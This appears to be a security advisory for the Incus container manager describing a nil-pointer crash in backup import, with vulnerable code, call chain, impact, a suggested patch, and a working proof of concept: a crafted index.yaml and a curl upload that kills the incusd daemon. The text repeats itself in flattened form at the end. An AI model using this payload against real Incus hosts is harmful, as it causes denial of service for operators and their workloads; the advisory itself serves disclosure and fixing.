Summary
(*backend).createDependentVolumesFromBackup in internal/server/storage/backend.go contains a cluster of unguarded pointer derefs on every dependent-volume entry's VolumeSnapshots[i], Volume, and Pool sub-fields. An authenticated user with can_create_instances permission on any project can crash the incusd daemon by uploading an instance backup tarball whose dependent_volumes[*] block contains a nil snapshot pointer (or omits volume: / pool:).
This is a sibling-field variant of the 2026-05-04 batch fix d768f81c0a1d985f35ae56219519822b080bf5e3 ("Properly check dependent volumes on import"). That commit added if disk == nil at the top of the outer loop, but did not guard the four sub-pointer fields the loop body dereferences naked.
Vulnerable code
internal/server/storage/backend.go:9352-9412:
func (b *backend) createDependentVolumesFromBackup(srcBackup backup.Info, ...) error {
...
for _, disk := range srcBackup.Config.DependentVolumes {
if disk == nil { // ← d768f81 parent fix
return errors.New("Bad dependent volume definition found in index")
}
...
snapshots := []string{}
for _, snap := range disk.VolumeSnapshots {
snapshots = append(snapshots, snap.Name) // ← I-2 trigger: snap may be nil
}
bInfo := backup.Info{
Project: disk.Volume.Project, // ← disk.Volume may be nil
Name: disk.Volume.Name,
Backend: disk.Pool.Driver, // ← disk.Pool may be nil
Pool: disk.Pool.Name,
...
}
...
devKey := fmt.Sprintf("%s/%s", disk.Pool.Name, disk.Volume.Name)
...
}
}
disk has type *config.Config (declared in internal/server/backup/config/backup_config.go:8). Its Volume field is *api.StorageVolume, Pool is *api.StoragePool, VolumeSnapshots is []*api.StorageVolumeSnapshot — all yaml omitempty. YAML omission decodes to nil for each.
The parent fix mental-modeled "outer-iteration variable nil"; it did not walk every sub-field deref inside the loop body. Direct asymmetric-guard variant.
Reach
- Attacker is an authenticated client with
can_create_instances on any project. Same auth gate as GHSA-8g7m-96c8-8wwc / CVE-2026-47753.
POST /1.0/instances with Content-Type: application/octet-stream and X-Incus-name: <name>.
- Body is a tar containing
backup/index.yaml whose config: block has a non-nil container: (passes instances_post.go:854 if bInfo.Config == nil || bInfo.Config.Container == nil) and a dependent_volumes: list with a malformed entry.
- Chain:
instancesPost -> createFromBackup:854 (Container guard passes) -> pool.CreateInstanceFromBackup -> backend.go:782 b.createDependentVolumesFromBackup -> backend.go:9374 snap.Name panics on the nil *api.StorageVolumeSnapshot element.
incusd dies. Persistent DoS on repeat.
Minimal backup/index.yaml (used in the bundled PoC):
name: poc-inst
backend: dir
pool: default
type: container
optimized: false
optimized_header: false
snapshots: []
config:
container:
name: poc-inst
architecture: x86_64
type: container
profiles: ["default"]
config: {}
devices: {}
expanded_devices:
depdisk: {type: disk, dependent: "true", pool: default, source: depvol, path: /data}
expanded_config: {}
dependent_volumes:
- volume: {name: depvol, type: custom, content_type: filesystem, config: {}}
pool: {name: default, driver: dir, config: {}}
volume_snapshots:
- ~ # explicit null entry → snap.Name at 9374 panics
(The container block must declare at least one device with type: disk, dependent: "true", pool != "", path != "/" to populate devicesMap and reach the second loop. Trivially satisfiable.)
An equivalent triggering YAML omits volume: or pool: from the dependent_volumes entry; in that case disk.Volume.Project at 9378 panics instead.
Proof of concept (end-to-end against running daemon)
Bundled in the report: make_backup.sh + 666-byte poc-inst.tar.gz.
Tested against incus 7.0.0 (zabbly latest GA, build 1:0~ubuntu24.04~202605201355) inside a privileged Ubuntu 24.04 container with default dir pool.
$ curl -s --unix-socket /var/lib/incus/unix.socket -X POST \
--data-binary @/tmp/poc-inst.tar.gz \
-H 'Content-Type: application/octet-stream' \
-H 'X-Incus-name: poc-inst' \
http://incus/1.0/instances
{"type":"async","status":"Operation created","status_code":100,...}
$ ps -ef | grep incusd | grep -v grep # process gone
Daemon panic:
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x18 pc=0x163b7bc]
goroutine 257 [running]:
github.com/lxc/incus/v7/internal/server/storage.(*backend).createDependentVolumesFromBackup(...)
/build/incus/internal/server/storage/backend.go:9374 +0x42c
github.com/lxc/incus/v7/internal/server/storage.(*backend).CreateInstanceFromBackup(...)
/build/incus/internal/server/storage/backend.go:782 +0x660
main.createFromBackup.func8(...)
/build/incus/cmd/incusd/instances_post.go:989 +0x2ac
github.com/lxc/incus/v7/internal/server/operations.(*Operation).Start.func1(...)
/build/incus/internal/server/operations/operations.go:307 +0x2c
Stack frame backend.go:9374 is the literal snap.Name line.
Impact
- Severity: denial of service against the entire
incusd process. Every container / VM / storage operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until an operator restarts the process.
- Privileges required: any authenticated user with
can_create_instances on any project. Not behind the admin tier.
- Network attack surface: the Incus REST API on
:8443 or the unix socket.
- CWE-476 — Nil-Pointer Dereference. CVSS estimate: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).
- Versions: v7.0.0 confirmed. The
dependent_volumes feature did not exist in v6.x, so the vulnerable code is v7-only.
Suggested fix
--- a/internal/server/storage/backend.go
+++ b/internal/server/storage/backend.go
@@ -9362,6 +9362,18 @@ func (b *backend) createDependentVolumesFromBackup(...) error {
for _, disk := range srcBackup.Config.DependentVolumes {
if disk == nil {
return errors.New("Bad dependent volume definition found in index")
}
+
+ if disk.Volume == nil || disk.Pool == nil {
+ return errors.New("Bad dependent volume definition: missing volume or pool")
+ }
+
+ for _, snap := range disk.VolumeSnapshots {
+ if snap == nil {
+ return errors.New("Bad dependent volume snapshot definition")
+ }
+ }
+
optimizedStorage := srcBackup.OptimizedStorage
optimizedHeader := srcBackup.OptimizedHeader
snapshots := []string{}
for _, snap := range disk.VolumeSnapshots {
snapshots = append(snapshots, snap.Name)
}
Reporter notes
Reported via Privately-Reported Vulnerability against lxc/incus by tonghuaroot.
References
Summary
(*backend).createDependentVolumesFromBackupininternal/server/storage/backend.gocontains a cluster of unguarded pointer derefs on every dependent-volume entry'sVolumeSnapshots[i],Volume, andPoolsub-fields. An authenticated user withcan_create_instancespermission on any project can crash theincusddaemon by uploading an instance backup tarball whosedependent_volumes[*]block contains a nil snapshot pointer (or omitsvolume:/pool:).This is a sibling-field variant of the 2026-05-04 batch fix
d768f81c0a1d985f35ae56219519822b080bf5e3("Properly check dependent volumes on import"). That commit addedif disk == nilat the top of the outer loop, but did not guard the four sub-pointer fields the loop body dereferences naked.Vulnerable code
internal/server/storage/backend.go:9352-9412:diskhas type*config.Config(declared ininternal/server/backup/config/backup_config.go:8). ItsVolumefield is*api.StorageVolume,Poolis*api.StoragePool,VolumeSnapshotsis[]*api.StorageVolumeSnapshot— all yamlomitempty. YAML omission decodes to nil for each.The parent fix mental-modeled "outer-iteration variable nil"; it did not walk every sub-field deref inside the loop body. Direct asymmetric-guard variant.
Reach
can_create_instanceson any project. Same auth gate as GHSA-8g7m-96c8-8wwc / CVE-2026-47753.POST /1.0/instanceswithContent-Type: application/octet-streamandX-Incus-name: <name>.backup/index.yamlwhoseconfig:block has a non-nilcontainer:(passesinstances_post.go:854 if bInfo.Config == nil || bInfo.Config.Container == nil) and adependent_volumes:list with a malformed entry.instancesPost->createFromBackup:854(Container guard passes) ->pool.CreateInstanceFromBackup->backend.go:782 b.createDependentVolumesFromBackup->backend.go:9374 snap.Namepanics on the nil*api.StorageVolumeSnapshotelement.incusddies. Persistent DoS on repeat.Minimal
backup/index.yaml(used in the bundled PoC):(The container block must declare at least one device with
type: disk,dependent: "true",pool != "",path != "/"to populatedevicesMapand reach the second loop. Trivially satisfiable.)An equivalent triggering YAML omits
volume:orpool:from the dependent_volumes entry; in that casedisk.Volume.Projectat 9378 panics instead.Proof of concept (end-to-end against running daemon)
Bundled in the report:
make_backup.sh+ 666-bytepoc-inst.tar.gz.Tested against
incus 7.0.0(zabbly latest GA, build1:0~ubuntu24.04~202605201355) inside a privileged Ubuntu 24.04 container with defaultdirpool.$ curl -s --unix-socket /var/lib/incus/unix.socket -X POST \ --data-binary @/tmp/poc-inst.tar.gz \ -H 'Content-Type: application/octet-stream' \ -H 'X-Incus-name: poc-inst' \ http://incus/1.0/instances {"type":"async","status":"Operation created","status_code":100,...} $ ps -ef | grep incusd | grep -v grep # process goneDaemon panic:
Stack frame
backend.go:9374is the literalsnap.Nameline.Impact
incusdprocess. Every container / VM / storage operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until an operator restarts the process.can_create_instanceson any project. Not behind the admin tier.:8443or the unix socket.dependent_volumesfeature did not exist in v6.x, so the vulnerable code is v7-only.Suggested fix
Reporter notes
Reported via Privately-Reported Vulnerability against
lxc/incusby tonghuaroot.References